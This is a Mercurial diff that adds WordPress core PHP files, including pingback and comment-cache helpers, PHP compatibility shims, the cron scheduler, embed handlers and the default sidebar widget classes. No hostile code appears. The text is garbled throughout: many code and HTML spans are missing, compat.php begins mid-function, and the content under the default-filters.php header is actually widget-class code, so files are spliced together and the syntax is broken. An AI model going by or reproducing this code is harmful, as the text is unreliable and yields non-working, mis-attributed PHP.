TRIM(REPLACE(to_ping, '$tb_url', '')) WHERE ID = %d", $ID) ); +} + +/** + * Send a pingback. + * + * @since 1.2.0 + * @uses $wp_version + * @uses IXR_Client + * + * @param string $server Host of blog to connect to. + * @param string $path Path to send the ping. + */ +function weblog_ping($server = '', $path = '') { + global $wp_version; + include_once(ABSPATH . WPINC . '/class-IXR.php'); + + // using a timeout of 3 seconds should be enough to cover slow servers + $client = new IXR_Client($server, ((!strlen(trim($path)) || ('/' == $path)) ? false : $path)); + $client->timeout = 3; + $client->useragent .= ' -- WordPress/'.$wp_version; + + // when set to true, this outputs debug messages by itself + $client->debug = false; + $home = trailingslashit( get_option('home') ); + if ( !$client->query('weblogUpdates.extendedPing', get_option('blogname'), $home, get_bloginfo('rss2_url') ) ) // then try a normal ping + $client->query('weblogUpdates.ping', get_option('blogname'), $home); +} + +// +// Cache +// + +/** + * Removes comment ID from the comment cache. + * + * @since 2.3.0 + * @package WordPress + * @subpackage Cache + * + * @param int|array $id Comment ID or array of comment IDs to remove from cache + */ +function clean_comment_cache($ids) { + foreach ( (array) $ids as $id ) + wp_cache_delete($id, 'comment'); +} + +/** + * Updates the comment cache of given comments. + * + * Will add the comments in $comments to the cache. If comment ID already exists + * in the comment cache then it will not be updated. The comment is added to the + * cache using the comment group with the key using the ID of the comments. + * + * @since 2.3.0 + * @package WordPress + * @subpackage Cache + * + * @param array $comments Array of comment row objects + */ +function update_comment_cache($comments) { + foreach ( (array) $comments as $comment ) + wp_cache_add($comment->comment_ID, $comment, 'comment'); +} + +// +// Internal +// + +/** + * Close comments on old posts on the fly, without any extra DB queries. Hooked to the_posts. + * + * @access private + * @since 2.7.0 + * + * @param object $posts Post data object. + * @return object + */ +function _close_comments_for_old_posts( $posts ) { + if ( empty($posts) || !is_singular() || !get_option('close_comments_for_old_posts') ) + return $posts; + + $days_old = (int) get_option('close_comments_days_old'); + if ( !$days_old ) + return $posts; + + if ( time() - strtotime( $posts[0]->post_date_gmt ) > ( $days_old * 24 * 60 * 60 ) ) { + $posts[0]->comment_status = 'closed'; + $posts[0]->ping_status = 'closed'; + } + + return $posts; +} + +/** + * Close comments on an old post. Hooked to comments_open and pings_open. + * + * @access private + * @since 2.7.0 + * + * @param bool $open Comments open or closed + * @param int $post_id Post ID + * @return bool $open + */ +function _close_comments_for_old_post( $open, $post_id ) { + if ( ! $open ) + return $open; + + if ( !get_option('close_comments_for_old_posts') ) + return $open; + + $days_old = (int) get_option('close_comments_days_old'); + if ( !$days_old ) + return $open; + + $post = get_post($post_id); + + if ( time() - strtotime( $post->post_date_gmt ) > ( $days_old * 24 * 60 * 60 ) ) + return false; + + return $open; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/compat.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/compat.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,162 @@ + $v ) { + if ( $urlencode) + $k = urlencode($k); + if ( is_int($k) && $prefix != null ) + $k = $prefix.$k; + if ( !empty($key) ) + $k = $key . '%5B' . $k . '%5D'; + if ( $v === NULL ) + continue; + elseif ( $v === FALSE ) + $v = '0'; + + if ( is_array($v) || is_object($v) ) + array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode)); + elseif ( $urlencode ) + array_push($ret, $k.'='.urlencode($v)); + else + array_push($ret, $k.'='.$v); + } + + if ( NULL === $sep ) + $sep = ini_get('arg_separator.output'); + + return implode($sep, $ret); +} + +if ( !function_exists('_') ) { + function _($string) { + return $string; + } +} + +if (!function_exists('stripos')) { + function stripos($haystack, $needle, $offset = 0) { + return strpos(strtolower($haystack), strtolower($needle), $offset); + } +} + +if ( !function_exists('hash_hmac') ): +function hash_hmac($algo, $data, $key, $raw_output = false) { + return _hash_hmac($algo, $data, $key, $raw_output); +} +endif; + +function _hash_hmac($algo, $data, $key, $raw_output = false) { + $packs = array('md5' => 'H32', 'sha1' => 'H40'); + + if ( !isset($packs[$algo]) ) + return false; + + $pack = $packs[$algo]; + + if (strlen($key) > 64) + $key = pack($pack, $algo($key)); + + $key = str_pad($key, 64, chr(0)); + + $ipad = (substr($key, 0, 64) ^ str_repeat(chr(0x36), 64)); + $opad = (substr($key, 0, 64) ^ str_repeat(chr(0x5C), 64)); + + $hmac = $algo($opad . pack($pack, $algo($ipad . $data))); + + if ( $raw_output ) + return pack( $pack, $hmac ); + return $hmac; +} + +if ( !function_exists('mb_substr') ): + function mb_substr( $str, $start, $length=null, $encoding=null ) { + return _mb_substr($str, $start, $length, $encoding); + } +endif; + +function _mb_substr( $str, $start, $length=null, $encoding=null ) { + // the solution below, works only for utf-8, so in case of a different + // charset, just use built-in substr + $charset = get_option( 'blog_charset' ); + if ( !in_array( $charset, array('utf8', 'utf-8', 'UTF8', 'UTF-8') ) ) { + return is_null( $length )? substr( $str, $start ) : substr( $str, $start, $length); + } + // use the regex unicode support to separate the UTF-8 characters into an array + preg_match_all( '/./us', $str, $match ); + $chars = is_null( $length )? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length ); + return implode( '', $chars ); +} + +if ( !function_exists( 'htmlspecialchars_decode' ) ) { + // Added in PHP 5.1.0 + // Error checks from PEAR::PHP_Compat + function htmlspecialchars_decode( $string, $quote_style = ENT_COMPAT ) + { + if ( !is_scalar( $string ) ) { + trigger_error( 'htmlspecialchars_decode() expects parameter 1 to be string, ' . gettype( $string ) . ' given', E_USER_WARNING ); + return; + } + + if ( !is_int( $quote_style ) && $quote_style !== null ) { + trigger_error( 'htmlspecialchars_decode() expects parameter 2 to be integer, ' . gettype( $quote_style ) . ' given', E_USER_WARNING ); + return; + } + + return wp_specialchars_decode( $string, $quote_style ); + } +} + +// For PHP < 5.2.0 +if ( !function_exists('json_encode') ) { + function json_encode( $string ) { + global $wp_json; + + if ( !is_a($wp_json, 'Services_JSON') ) { + require_once( 'class-json.php' ); + $wp_json = new Services_JSON(); + } + + return $wp_json->encodeUnsafe( $string ); + } +} + +if ( !function_exists('json_decode') ) { + function json_decode( $string ) { + global $wp_json; + + if ( !is_a($wp_json, 'Services_JSON') ) { + require_once( 'class-json.php' ); + $wp_json = new Services_JSON(); + } + + return $wp_json->decode( $string ); + } +} + +// pathinfo that fills 'filename' without extension like in PHP 5.2+ +function pathinfo52($path) { + $parts = pathinfo($path); + if ( !isset($parts['filename']) ) { + $parts['filename'] = substr( $parts['basename'], 0, strrpos($parts['basename'], '.') ); + if ( empty($parts['filename']) ) // there's no extension + $parts['filename'] = $parts['basename']; + } + return $parts; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/cron.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/cron.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,395 @@ + false, 'args' => $args ); + uksort( $crons, "strnatcasecmp" ); + _set_cron_array( $crons ); +} + +/** + * Schedule a periodic event. + * + * Schedules a hook which will be executed by the WordPress actions core on a + * specific interval, specified by you. The action will trigger when someone + * visits your WordPress site, if the scheduled time has passed. + * + * Valid values for the recurrence are hourly, daily and twicedaily. These can + * be extended using the cron_schedules filter in wp_get_schedules(). + * + * @since 2.1.0 + * + * @param int $timestamp Timestamp for when to run the event. + * @param string $recurrence How often the event should recur. + * @param string $hook Action hook to execute when cron is run. + * @param array $args Optional. Arguments to pass to the hook's callback function. + * @return bool|null False on failure, null when complete with scheduling event. + */ +function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array()) { + $crons = _get_cron_array(); + $schedules = wp_get_schedules(); + $key = md5(serialize($args)); + if ( !isset( $schedules[$recurrence] ) ) + return false; + $crons[$timestamp][$hook][$key] = array( 'schedule' => $recurrence, 'args' => $args, 'interval' => $schedules[$recurrence]['interval'] ); + uksort( $crons, "strnatcasecmp" ); + _set_cron_array( $crons ); +} + +/** + * Reschedule a recurring event. + * + * @since 2.1.0 + * + * @param int $timestamp Timestamp for when to run the event. + * @param string $recurrence How often the event should recur. + * @param string $hook Action hook to execute when cron is run. + * @param array $args Optional. Arguments to pass to the hook's callback function. + * @return bool|null False on failure. Null when event is rescheduled. + */ +function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array()) { + $crons = _get_cron_array(); + $schedules = wp_get_schedules(); + $key = md5(serialize($args)); + $interval = 0; + + // First we try to get it from the schedule + if ( 0 == $interval ) + $interval = $schedules[$recurrence]['interval']; + // Now we try to get it from the saved interval in case the schedule disappears + if ( 0 == $interval ) + $interval = $crons[$timestamp][$hook][$key]['interval']; + // Now we assume something is wrong and fail to schedule + if ( 0 == $interval ) + return false; + + $now = time(); + + if ( $timestamp >= $now ) + $timestamp = $now + $interval; + else + $timestamp = $now + ($interval - (($now - $timestamp) % $interval)); + + wp_schedule_event( $timestamp, $recurrence, $hook, $args ); +} + +/** + * Unschedule a previously scheduled cron job. + * + * The $timestamp and $hook parameters are required, so that the event can be + * identified. + * + * @since 2.1.0 + * + * @param int $timestamp Timestamp for when to run the event. + * @param string $hook Action hook, the execution of which will be unscheduled. + * @param array $args Arguments to pass to the hook's callback function. + * Although not passed to a callback function, these arguments are used + * to uniquely identify the scheduled event, so they should be the same + * as those used when originally scheduling the event. + */ +function wp_unschedule_event( $timestamp, $hook, $args = array() ) { + $crons = _get_cron_array(); + $key = md5(serialize($args)); + unset( $crons[$timestamp][$hook][$key] ); + if ( empty($crons[$timestamp][$hook]) ) + unset( $crons[$timestamp][$hook] ); + if ( empty($crons[$timestamp]) ) + unset( $crons[$timestamp] ); + _set_cron_array( $crons ); +} + +/** + * Unschedule all cron jobs attached to a specific hook. + * + * @since 2.1.0 + * + * @param string $hook Action hook, the execution of which will be unscheduled. + * @param mixed $args,... Optional. Event arguments. + */ +function wp_clear_scheduled_hook( $hook ) { + $args = array_slice( func_get_args(), 1 ); + + while ( $timestamp = wp_next_scheduled( $hook, $args ) ) + wp_unschedule_event( $timestamp, $hook, $args ); +} + +/** + * Retrieve the next timestamp for a cron event. + * + * @since 2.1.0 + * + * @param string $hook Action hook to execute when cron is run. + * @param array $args Optional. Arguments to pass to the hook's callback function. + * @return bool|int The UNIX timestamp of the next time the scheduled event will occur. + */ +function wp_next_scheduled( $hook, $args = array() ) { + $crons = _get_cron_array(); + $key = md5(serialize($args)); + if ( empty($crons) ) + return false; + foreach ( $crons as $timestamp => $cron ) { + if ( isset( $cron[$hook][$key] ) ) + return $timestamp; + } + return false; +} + +/** + * Send request to run cron through HTTP request that doesn't halt page loading. + * + * @since 2.1.0 + * + * @return null Cron could not be spawned, because it is not needed to run. + */ +function spawn_cron( $local_time = 0 ) { + + if ( !$local_time ) + $local_time = time(); + + if ( defined('DOING_CRON') || isset($_GET['doing_wp_cron']) ) + return; + + /* + * do not even start the cron if local server timer has drifted + * such as due to power failure, or misconfiguration + */ + $timer_accurate = check_server_timer( $local_time ); + if ( !$timer_accurate ) + return; + + /* + * multiple processes on multiple web servers can run this code concurrently + * try to make this as atomic as possible by setting doing_cron switch + */ + $flag = get_transient('doing_cron'); + + if ( $flag > $local_time + 10*60 ) + $flag = 0; + + // don't run if another process is currently running it or more than once every 60 sec. + if ( $flag + 60 > $local_time ) + return; + + //sanity check + $crons = _get_cron_array(); + if ( !is_array($crons) ) + return; + + $keys = array_keys( $crons ); + if ( isset($keys[0]) && $keys[0] > $local_time ) + return; + + if ( defined('ALTERNATE_WP_CRON') && ALTERNATE_WP_CRON ) { + if ( !empty($_POST) || defined('DOING_AJAX') ) + return; + + set_transient( 'doing_cron', $local_time ); + + ob_start(); + wp_redirect( add_query_arg('doing_wp_cron', '', stripslashes($_SERVER['REQUEST_URI'])) ); + echo ' '; + + // flush any buffers and send the headers + while ( @ob_end_flush() ); + flush(); + + @include_once(ABSPATH . 'wp-cron.php'); + return; + } + + set_transient( 'doing_cron', $local_time ); + + $cron_url = get_option( 'siteurl' ) . '/wp-cron.php?doing_wp_cron'; + wp_remote_post( $cron_url, array('timeout' => 0.01, 'blocking' => false, 'sslverify' => apply_filters('https_local_ssl_verify', true)) ); +} + +/** + * Run scheduled callbacks or spawn cron for all scheduled events. + * + * @since 2.1.0 + * + * @return null When doesn't need to run Cron. + */ +function wp_cron() { + + // Prevent infinite loops caused by lack of wp-cron.php + if ( strpos($_SERVER['REQUEST_URI'], '/wp-cron.php') !== false || ( defined('DISABLE_WP_CRON') && DISABLE_WP_CRON ) ) + return; + + if ( false === $crons = _get_cron_array() ) + return; + + $local_time = time(); + $keys = array_keys( $crons ); + if ( isset($keys[0]) && $keys[0] > $local_time ) + return; + + $schedules = wp_get_schedules(); + foreach ( $crons as $timestamp => $cronhooks ) { + if ( $timestamp > $local_time ) break; + foreach ( (array) $cronhooks as $hook => $args ) { + if ( isset($schedules[$hook]['callback']) && !call_user_func( $schedules[$hook]['callback'] ) ) + continue; + spawn_cron( $local_time ); + break 2; + } + } +} + +/** + * Retrieve supported and filtered Cron recurrences. + * + * The supported recurrences are 'hourly' and 'daily'. A plugin may add more by + * hooking into the 'cron_schedules' filter. The filter accepts an array of + * arrays. The outer array has a key that is the name of the schedule or for + * example 'weekly'. The value is an array with two keys, one is 'interval' and + * the other is 'display'. + * + * The 'interval' is a number in seconds of when the cron job should run. So for + * 'hourly', the time is 3600 or 60*60. For weekly, the value would be + * 60*60*24*7 or 604800. The value of 'interval' would then be 604800. + * + * The 'display' is the description. For the 'weekly' key, the 'display' would + * be __('Once Weekly'). + * + * For your plugin, you will be passed an array. you can easily add your + * schedule by doing the following. + * + * // filter parameter variable name is 'array' + * $array['weekly'] = array( + * 'interval' => 604800, + * 'display' => __('Once Weekly') + * ); + * + * + * @since 2.1.0 + * + * @return array + */ +function wp_get_schedules() { + $schedules = array( + 'hourly' => array( 'interval' => 3600, 'display' => __('Once Hourly') ), + 'twicedaily' => array( 'interval' => 43200, 'display' => __('Twice Daily') ), + 'daily' => array( 'interval' => 86400, 'display' => __('Once Daily') ), + ); + return array_merge( apply_filters( 'cron_schedules', array() ), $schedules ); +} + +/** + * Retrieve Cron schedule for hook with arguments. + * + * @since 2.1.0 + * + * @param string $hook Action hook to execute when cron is run. + * @param array $args Optional. Arguments to pass to the hook's callback function. + * @return string|bool False, if no schedule. Schedule on success. + */ +function wp_get_schedule($hook, $args = array()) { + $crons = _get_cron_array(); + $key = md5(serialize($args)); + if ( empty($crons) ) + return false; + foreach ( $crons as $timestamp => $cron ) { + if ( isset( $cron[$hook][$key] ) ) + return $cron[$hook][$key]['schedule']; + } + return false; +} + +// +// Private functions +// + +/** + * Retrieve cron info array option. + * + * @since 2.1.0 + * @access private + * + * @return array CRON info array. + */ +function _get_cron_array() { + $cron = get_option('cron'); + if ( ! is_array($cron) ) + return false; + + if ( !isset($cron['version']) ) + $cron = _upgrade_cron_array($cron); + + unset($cron['version']); + + return $cron; +} + +/** + * Updates the CRON option with the new CRON array. + * + * @since 2.1.0 + * @access private + * + * @param array $cron Cron info array from {@link _get_cron_array()}. + */ +function _set_cron_array($cron) { + $cron['version'] = 2; + update_option( 'cron', $cron ); +} + +/** + * Upgrade a Cron info array. + * + * This function upgrades the Cron info array to version 2. + * + * @since 2.1.0 + * @access private + * + * @param array $cron Cron info array from {@link _get_cron_array()}. + * @return array An upgraded Cron info array. + */ +function _upgrade_cron_array($cron) { + if ( isset($cron['version']) && 2 == $cron['version']) + return $cron; + + $new_cron = array(); + + foreach ( (array) $cron as $timestamp => $hooks) { + foreach ( (array) $hooks as $hook => $args ) { + $key = md5(serialize($args['args'])); + $new_cron[$timestamp][$hook][$key] = $args; + } + } + + $new_cron['version'] = 2; + update_option( 'cron', $new_cron ); + return $new_cron; +} + +// stub for checking server timer accuracy, using outside standard time sources +function check_server_timer( $local_time ) { + return true; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/default-embeds.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/default-embeds.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,52 @@ +', $matches, $attr, $url, $rawattr ); +} +wp_embed_register_handler( 'googlevideo', '#http://video\.google\.([A-Za-z.]{2,5})/videoplay\?docid=([\d-]+)(.*?)#i', 'wp_embed_handler_googlevideo' ); + +/** + * The PollDaddy.com embed handler callback. PollDaddy does not support oEmbed, at least not yet. + * + * @see WP_Embed::register_handler() + * @see WP_Embed::shortcode() + * + * @param array $matches The regex matches from the provided regex when calling {@link wp_embed_register_handler()}. + * @param array $attr Embed attributes. + * @param string $url The original URL that was matched by the regex. + * @param array $rawattr The original unmodified attributes. + * @return string The embed HTML. + */ +function wp_embed_handler_polldaddy( $matches, $attr, $url, $rawattr ) { + return apply_filters( 'embed_polldaddy', '', $matches, $attr, $url, $rawattr ); +} +wp_embed_register_handler( 'polldaddy', '#http://answers.polldaddy.com/poll/(\d+)(.*?)#i', 'wp_embed_handler_polldaddy' ); + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/default-filters.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/default-filters.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,227 @@ + 'widget_pages', 'description' => __( 'Your blog’s WordPress Pages') ); + $this->WP_Widget('pages', __('Pages'), $widget_ops); + } + + function widget( $args, $instance ) { + extract( $args ); + + $title = apply_filters('widget_title', empty( $instance['title'] ) ? __( 'Pages' ) : $instance['title']); + $sortby = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby']; + $exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude']; + + if ( $sortby == 'menu_order' ) + $sortby = 'menu_order, post_title'; + + $out = wp_list_pages( apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude) ) ); + + if ( !empty( $out ) ) { + echo $before_widget; + if ( $title) + echo $before_title . $title . $after_title; + ?> +
      + +
    + 'post_title', 'title' => '', 'exclude' => '') ); + $title = esc_attr( $instance['title'] ); + $exclude = esc_attr( $instance['exclude'] ); + ?> +

    +

    + + +

    +

    + +
    + +

    + __( "Your blogroll" ) ); + $this->WP_Widget('links', __('Links'), $widget_ops); + } + + function widget( $args, $instance ) { + extract($args, EXTR_SKIP); + + $show_description = isset($instance['description']) ? $instance['description'] : false; + $show_name = isset($instance['name']) ? $instance['name'] : false; + $show_rating = isset($instance['rating']) ? $instance['rating'] : false; + $show_images = isset($instance['images']) ? $instance['images'] : true; + $category = isset($instance['category']) ? $instance['category'] : false; + + if ( is_admin() && !$category ) { + // Display All Links widget as such in the widgets screen + echo $before_widget . $before_title. __('All Links') . $after_title . $after_widget; + return; + } + + $before_widget = preg_replace('/id="[^"]*"/','id="%id"', $before_widget); + wp_list_bookmarks(apply_filters('widget_links_args', array( + 'title_before' => $before_title, 'title_after' => $after_title, + 'category_before' => $before_widget, 'category_after' => $after_widget, + 'show_images' => $show_images, 'show_description' => $show_description, + 'show_name' => $show_name, 'show_rating' => $show_rating, + 'category' => $category, 'class' => 'linkcat widget' + ))); + } + + function update( $new_instance, $old_instance ) { + $new_instance = (array) $new_instance; + $instance = array( 'images' => 0, 'name' => 0, 'description' => 0, 'rating' => 0); + foreach ( $instance as $field => $val ) { + if ( isset($new_instance[$field]) ) + $instance[$field] = 1; + } + $instance['category'] = intval($new_instance['category']); + + return $instance; + } + + function form( $instance ) { + + //Defaults + $instance = wp_parse_args( (array) $instance, array( 'images' => true, 'name' => true, 'description' => false, 'rating' => false, 'category' => false ) ); + $link_cats = get_terms( 'link_category'); +?> +

    + +

    +

    + id="get_field_id('images'); ?>" name="get_field_name('images'); ?>" /> +
    + id="get_field_id('name'); ?>" name="get_field_name('name'); ?>" /> +
    + id="get_field_id('description'); ?>" name="get_field_name('description'); ?>" /> +
    + id="get_field_id('rating'); ?>" name="get_field_name('rating'); ?>" /> + +

    + 'widget_search', 'description' => __( "A search form for your blog") ); + $this->WP_Widget('search', __('Search'), $widget_ops); + } + + function widget( $args, $instance ) { + extract($args); + $title = apply_filters('widget_title', $instance['title']); + + echo $before_widget; + if ( $title ) + echo $before_title . $title . $after_title; + + // Use current theme search form if it exists + get_search_form(); + + echo $after_widget; + } + + function form( $instance ) { + $instance = wp_parse_args( (array) $instance, array( 'title' => '') ); + $title = $instance['title']; +?> +

    + '')); + $instance['title'] = strip_tags($new_instance['title']); + return $instance; + } + +} + +/** + * Archives widget class + * + * @since 2.8.0 + */ +class WP_Widget_Archives extends WP_Widget { + + function WP_Widget_Archives() { + $widget_ops = array('classname' => 'widget_archive', 'description' => __( 'A monthly archive of your blog’s posts') ); + $this->WP_Widget('archives', __('Archives'), $widget_ops); + } + + function widget( $args, $instance ) { + extract($args); + $c = $instance['count'] ? '1' : '0'; + $d = $instance['dropdown'] ? '1' : '0'; + $title = apply_filters('widget_title', empty($instance['title']) ? __('Archives') : $instance['title']); + + echo $before_widget; + if ( $title ) + echo $before_title . $title . $after_title; + + if ( $d ) { +?> + + +
      + 'monthly', 'show_post_count' => $c))); ?> +
    + '', 'count' => 0, 'dropdown' => '') ); + $instance['title'] = strip_tags($new_instance['title']); + $instance['count'] = $new_instance['count'] ? 1 : 0; + $instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0; + + return $instance; + } + + function form( $instance ) { + $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') ); + $title = strip_tags($instance['title']); + $count = $instance['count'] ? 'checked="checked"' : ''; + $dropdown = $instance['dropdown'] ? 'checked="checked"' : ''; +?> +

    +

    + id="get_field_id('count'); ?>" name="get_field_name('count'); ?>" /> +
    + id="get_field_id('dropdown'); ?>" name="get_field_name('dropdown'); ?>" /> +

    + 'widget_meta', 'description' => __( "Log in/out, admin, feed and WordPress links") ); + $this->WP_Widget('meta', __('Meta'), $widget_ops); + } + + function widget( $args, $instance ) { + extract($args); + $title = apply_filters('widget_title', empty($instance['title']) ? __('Meta') : $instance['title']); + + echo $before_widget; + if ( $title ) + echo $before_title . $title . $after_title; +?> + + '' ) ); + $title = strip_tags($instance['title']); +?> +

    + 'widget_calendar', 'description' => __( 'A calendar of your blog’s posts') ); + $this->WP_Widget('calendar', __('Calendar'), $widget_ops); + } + + function widget( $args, $instance ) { + extract($args); + $title = apply_filters('widget_title', empty($instance['title']) ? ' ' : $instance['title']); + echo $before_widget; + if ( $title ) + echo $before_title . $title . $after_title; + echo '
    '; + get_calendar(); + echo '
    '; + echo $after_widget; + } + + function update( $new_instance, $old_instance ) { + $instance = $old_instance; + $instance['title'] = strip_tags($new_instance['title']); + + return $instance; + } + + function form( $instance ) { + $instance = wp_parse_args( (array) $instance, array( 'title' => '' ) ); + $title = strip_tags($instance['title']); +?> +

    +

    + 'widget_text', 'description' => __('Arbitrary text or HTML')); + $control_ops = array('width' => 400, 'height' => 350); + $this->WP_Widget('text', __('Text'), $widget_ops, $control_ops); + } + + function widget( $args, $instance ) { + extract($args); + $title = apply_filters( 'widget_title', empty($instance['title']) ? '' : $instance['title'], $instance ); + $text = apply_filters( 'widget_text', $instance['text'], $instance ); + echo $before_widget; + if ( !empty( $title ) ) { echo $before_title . $title . $after_title; } ?> +
    + '', 'text' => '' ) ); + $title = strip_tags($instance['title']); + $text = format_to_edit($instance['text']); +?> +

    +

    + + + +

    /> 

    + 'widget_categories', 'description' => __( "A list or dropdown of categories" ) ); + $this->WP_Widget('categories', __('Categories'), $widget_ops); + } + + function widget( $args, $instance ) { + extract( $args ); + + $title = apply_filters('widget_title', empty( $instance['title'] ) ? __( 'Categories' ) : $instance['title']); + $c = $instance['count'] ? '1' : '0'; + $h = $instance['hierarchical'] ? '1' : '0'; + $d = $instance['dropdown'] ? '1' : '0'; + + echo $before_widget; + if ( $title ) + echo $before_title . $title . $after_title; + + $cat_args = array('orderby' => 'name', 'show_count' => $c, 'hierarchical' => $h); + + if ( $d ) { + $cat_args['show_option_none'] = __('Select Category'); + wp_dropdown_categories(apply_filters('widget_categories_dropdown_args', $cat_args)); +?> + + + + +
      + +
    + '') ); + $title = esc_attr( $instance['title'] ); + $count = isset($instance['count']) ? (bool) $instance['count'] :false; + $hierarchical = isset( $instance['hierarchical'] ) ? (bool) $instance['hierarchical'] : false; + $dropdown = isset( $instance['dropdown'] ) ? (bool) $instance['dropdown'] : false; +?> +

    +

    + +

    /> +
    + + /> +
    + + /> +

    + 'widget_recent_entries', 'description' => __( "The most recent posts on your blog") ); + $this->WP_Widget('recent-posts', __('Recent Posts'), $widget_ops); + $this->alt_option_name = 'widget_recent_entries'; + + add_action( 'save_post', array(&$this, 'flush_widget_cache') ); + add_action( 'deleted_post', array(&$this, 'flush_widget_cache') ); + add_action( 'switch_theme', array(&$this, 'flush_widget_cache') ); + } + + function widget($args, $instance) { + $cache = wp_cache_get('widget_recent_posts', 'widget'); + + if ( !is_array($cache) ) + $cache = array(); + + if ( isset($cache[$args['widget_id']]) ) { + echo $cache[$args['widget_id']]; + return; + } + + ob_start(); + extract($args); + + $title = apply_filters('widget_title', empty($instance['title']) ? __('Recent Posts') : $instance['title']); + if ( !$number = (int) $instance['number'] ) + $number = 10; + else if ( $number < 1 ) + $number = 1; + else if ( $number > 15 ) + $number = 15; + + $r = new WP_Query(array('showposts' => $number, 'nopaging' => 0, 'post_status' => 'publish', 'caller_get_posts' => 1)); + if ($r->have_posts()) : +?> + + +
      + have_posts()) : $r->the_post(); ?> +
    • + +
    + +flush_widget_cache(); + + $alloptions = wp_cache_get( 'alloptions', 'options' ); + if ( isset($alloptions['widget_recent_entries']) ) + delete_option('widget_recent_entries'); + + return $instance; + } + + function flush_widget_cache() { + wp_cache_delete('widget_recent_posts', 'widget'); + } + + function form( $instance ) { + $title = isset($instance['title']) ? esc_attr($instance['title']) : ''; + if ( !isset($instance['number']) || !$number = (int) $instance['number'] ) + $number = 5; +?> +

    +

    + +

    +
    +

    + 'widget_recent_comments', 'description' => __( 'The most recent comments' ) ); + $this->WP_Widget('recent-comments', __('Recent Comments'), $widget_ops); + $this->alt_option_name = 'widget_recent_comments'; + + if ( is_active_widget(false, false, $this->id_base) ) + add_action( 'wp_head', array(&$this, 'recent_comments_style') ); + + add_action( 'comment_post', array(&$this, 'flush_widget_cache') ); + add_action( 'transition_comment_status', array(&$this, 'flush_widget_cache') ); + } + + function recent_comments_style() { ?> + + 15 ) + $number = 15; + + if ( !$comments = wp_cache_get( 'recent_comments', 'widget' ) ) { + $comments = $wpdb->get_results("SELECT $wpdb->comments.* FROM $wpdb->comments JOIN $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID WHERE comment_approved = '1' AND post_status = 'publish' ORDER BY comment_date_gmt DESC LIMIT 15"); + wp_cache_add( 'recent_comments', $comments, 'widget' ); + } + + $comments = array_slice( (array) $comments, 0, $number ); +?> + + + + +flush_widget_cache(); + + $alloptions = wp_cache_get( 'alloptions', 'options' ); + if ( isset($alloptions['widget_recent_comments']) ) + delete_option('widget_recent_comments'); + + return $instance; + } + + function form( $instance ) { + $title = isset($instance['title']) ? esc_attr($instance['title']) : ''; + $number = isset($instance['number']) ? absint($instance['number']) : 5; +?> +

    +

    + +

    +
    +

    + __('Entries from any RSS or Atom feed') ); + $control_ops = array( 'width' => 400, 'height' => 200 ); + $this->WP_Widget( 'rss', __('RSS'), $widget_ops, $control_ops ); + } + + function widget($args, $instance) { + + if ( isset($instance['error']) && $instance['error'] ) + return; + + extract($args, EXTR_SKIP); + + $url = $instance['url']; + while ( stristr($url, 'http') != $url ) + $url = substr($url, 1); + + if ( empty($url) ) + return; + + $rss = fetch_feed($url); + $title = $instance['title']; + $desc = ''; + $link = ''; + + if ( ! is_wp_error($rss) ) { + $desc = esc_attr(strip_tags(@html_entity_decode($rss->get_description(), ENT_QUOTES, get_option('blog_charset')))); + if ( empty($title) ) + $title = esc_html(strip_tags($rss->get_title())); + $link = esc_url(strip_tags($rss->get_permalink())); + while ( stristr($link, 'http') != $link ) + $link = substr($link, 1); + } + + if ( empty($title) ) + $title = empty($desc) ? __('Unknown Feed') : $desc; + + $title = apply_filters('widget_title', $title ); + $url = esc_url(strip_tags($url)); + $icon = includes_url('images/rss.png'); + if ( $title ) + $title = "RSS $title"; + + echo $before_widget; + if ( $title ) + echo $before_title . $title . $after_title; + wp_widget_rss_output( $rss, $instance ); + echo $after_widget; + + if ( ! is_wp_error($rss) ) + $rss->__destruct(); + unset($rss); + } + + function update($new_instance, $old_instance) { + $testurl = $new_instance['url'] != $old_instance['url']; + return wp_widget_rss_process( $new_instance, $testurl ); + } + + function form($instance) { + + if ( empty($instance) ) + $instance = array( 'title' => '', 'url' => '', 'items' => 10, 'error' => false, 'show_summary' => 0, 'show_author' => 0, 'show_date' => 0 ); + $instance['number'] = $this->number; + + wp_widget_rss_form( $instance ); + } +} + +/** + * Display the RSS entries in a list. + * + * @since 2.5.0 + * + * @param string|array|object $rss RSS url. + * @param array $args Widget arguments. + */ +function wp_widget_rss_output( $rss, $args = array() ) { + if ( is_string( $rss ) ) { + $rss = fetch_feed($rss); + } elseif ( is_array($rss) && isset($rss['url']) ) { + $args = $rss; + $rss = fetch_feed($rss['url']); + } elseif ( !is_object($rss) ) { + return; + } + + if ( is_wp_error($rss) ) { + if ( is_admin() || current_user_can('manage_options') ) + echo '

    ' . sprintf( __('RSS Error: %s'), $rss->get_error_message() ) . '

    '; + return; + } + + $default_args = array( 'show_author' => 0, 'show_date' => 0, 'show_summary' => 0 ); + $args = wp_parse_args( $args, $default_args ); + extract( $args, EXTR_SKIP ); + + $items = (int) $items; + if ( $items < 1 || 20 < $items ) + $items = 10; + $show_summary = (int) $show_summary; + $show_author = (int) $show_author; + $show_date = (int) $show_date; + + if ( !$rss->get_item_quantity() ) { + echo '
